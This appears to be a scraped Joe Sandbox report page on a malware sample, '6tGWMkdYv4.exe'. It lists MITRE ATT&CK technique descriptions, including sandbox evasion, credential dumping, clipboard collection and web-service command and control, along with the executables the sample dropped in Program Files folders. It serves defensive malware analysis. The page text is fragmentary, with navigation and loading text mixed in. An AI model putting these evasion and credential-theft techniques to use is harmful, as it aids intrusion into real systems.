Platforms:	Containers, Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may interact with the Windows Registry to hide configuration information within Registry keys, remove information as part of cleaning up, or as part of other techniques to aid in persistence and execution.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, Network Traffic: Network Traffic Flow, Process: OS API Execution, Process: Process Creation, Windows Registry: Windows Registry Key Creation, Windows Registry: Windows Registry Key Deletion, Windows Registry: Windows Registry Key Modification
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ various means to detect and avoid virtualization and analysis environments. This may include changing behaviors based on the results of checks for the presence of artifacts indicative of a virtual machine environment (VME) or sandbox. If the adversary detects a VME, they may alter their malware to disengage from the victim or conceal the core functions of the implant. They may also search for VME artifacts before dropping secondary or additional payloads. Adversaries may use the information learned from [Virtualization/Sandbox Evasion](https://attack.mitre.org/techniques/T1497) during automated discovery to shape follow-on behaviors.
Tactics:	Defense Evasion, Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to dump credentials to obtain account login and credential material, normally in the form of a hash or a clear text password, from the operating system and software. Credentials can then be used to perform Lateral Movement and access restricted information.
Tactics:	Credential Access
Data Sources:	Active Directory: Active Directory Object Access, Command: Command Execution, File: File Access, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow, Process: OS API Execution, Process: Process Access, Process: Process Creation, Windows Registry: Windows Registry Key Access
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may gather the system time and/or time zone from a local or remote system. The system time is set and stored by the Windows Time Service within a domain to maintain time synchronization between systems and services in an enterprise network.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Network, Windows
Url:	Open detailed description by Mitre

Behavior Section

Behavior Chronological

Disassembly

Uncategorized

Graph

Loading Joe Sandbox Report ...

Warning!

Windows Analysis Report 6tGWMkdYv4.exe

Overview

General Information

Detection

Signatures

Classification

Process Tree

Malware Configuration

Yara Signatures

Dropped Files

Memory Dumps

Sigma Signatures

System Summary

Data Obfuscation

Stealing of Sensitive Information

Snort Signatures

Joe Sandbox Signatures

AV Detection

Compliance

Spreading

Networking

Key, Mouse, Clipboard, Microphone and Screen Capturing

Spam, unwanted Advertisements and Ransom Demands

DDoS

System Summary

Data Obfuscation

Persistence and Installation Behavior

Boot Survival

Hooking and other Techniques for Hiding and Protection

Malware Analysis System Evasion

Anti Debugging

HIPS / PFW / Operating System Protection Evasion

Language, Device and Operating System Detection

Lowering of HIPS / PFW / Operating System Security Settings

Stealing of Sensitive Information

Remote Access Functionality

Mitre Att&ck Matrix

Behavior Graph

Screenshots

Thumbnails

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Dropped Files

Unpacked PE Files

Domains

URLs

Domains and IPs

Contacted Domains

Contacted URLs

URLs from Memory and Binaries

World Map of Contacted IPs

Public IPs

Private

General Information

Warnings

Simulations

Behavior and APIs

Joe Sandbox View / Context

IPs

Domains

ASNs

JA3 Fingerprints

Dropped Files

Created / dropped Files

C:\Program Files (x86)\Java\jre-1.8\lib\0fc9465337303e

C:\Program Files (x86)\Java\jre-1.8\lib\bMCzMxeQsb.exe

C:\Program Files (x86)\Microsoft.NET\Primary Interop Assemblies\0fc9465337303e

C:\Program Files (x86)\Microsoft.NET\Primary Interop Assemblies\bMCzMxeQsb.exe

C:\Program Files\Common Files\0fc9465337303e

C:\Program Files\Common Files\bMCzMxeQsb.exe

C:\Program Files\Microsoft\OneDrive\088424020bedd6

C:\Program Files\Microsoft\OneDrive\conhost.exe

C:\Program Files\Windows Multimedia Platform\0fc9465337303e

Windows Analysis Report
6tGWMkdYv4.exe

Description:	Adversaries may enumerate files and directories or may search in specific locations of a host or network share for certain information within a file system. Adversaries may use the information from File and Directory Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may attempt to get detailed information about the operating system and hardware, including version, patches, hotfixes, service packs, and architecture. Adversaries may use the information from System Information Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	IaaS, Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get a listing of security software, configurations, defensive tools, and sensors that are installed on a system or in a cloud environment. This may include things such as firewall rules and anti-virus. Adversaries may use the information from Security Software Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Firewall: Firewall Enumeration, Firewall: Firewall Metadata, Process: OS API Execution, Process: Process Creation
Platforms:	Azure AD, Google Workspace, IaaS, Linux, macOS, Office 365, SaaS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get information about running processes on a system. Information obtained could be used to gain an understanding of common software/applications running on systems within the network. Adversaries may use the information from Process Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may look for details about the network configuration and settings, such as IP and/or MAC addresses, of systems they access or through information discovery of remote systems. Several operating system administration utilities exist that can be used to gather this information. Examples include Arp , ipconfig / ifconfig , nbtstat , and route .
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may compress and/or encrypt data that is collected prior to exfiltration. Compressing the data can help to obfuscate the collected data and minimize the amount of data sent over the network. Encryption can be used to hide information that is being exfiltrated from detection or make exfiltration less conspicuous upon inspection by a defender.
Tactics:	Collection
Data Sources:	Command: Command Execution, File: File Creation, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may search local system sources, such as file systems and configuration files or local databases, to find files of interest and sensitive data prior to Exfiltration.
Tactics:	Collection
Data Sources:	Command: Command Execution, File: File Access, Process: OS API Execution, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may collect data stored in the clipboard from users copying information within or between applications.
Tactics:	Collection
Data Sources:	Command: Command Execution, Process: OS API Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use an existing, legitimate external Web service as a means for relaying data to/from a compromised system. Popular websites and social media acting as a mechanism for C2 may give a significant amount of cover due to the likelihood that hosts within a network are already communicating with them prior to a compromise. Using common services, such as those offered by Google or Twitter, makes it easier for adversaries to hide in expected noise. Web service providers commonly use SSL/TLS encryption, giving adversaries an added level of protection.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Connection Creation, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may transfer tools or other files from an external system into a compromised environment. Tools or files may be copied from an external adversary-controlled system to the victim network through the command and control channel or through alternate protocols such as ftp . Once present, adversaries may also transfer/spread tools between victim devices within a compromised environment (i.e. Lateral Tool Transfer ).
Tactics:	Command and Control
Data Sources:	Command: Command Execution, File: File Creation, Network Traffic: Network Connection Creation, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre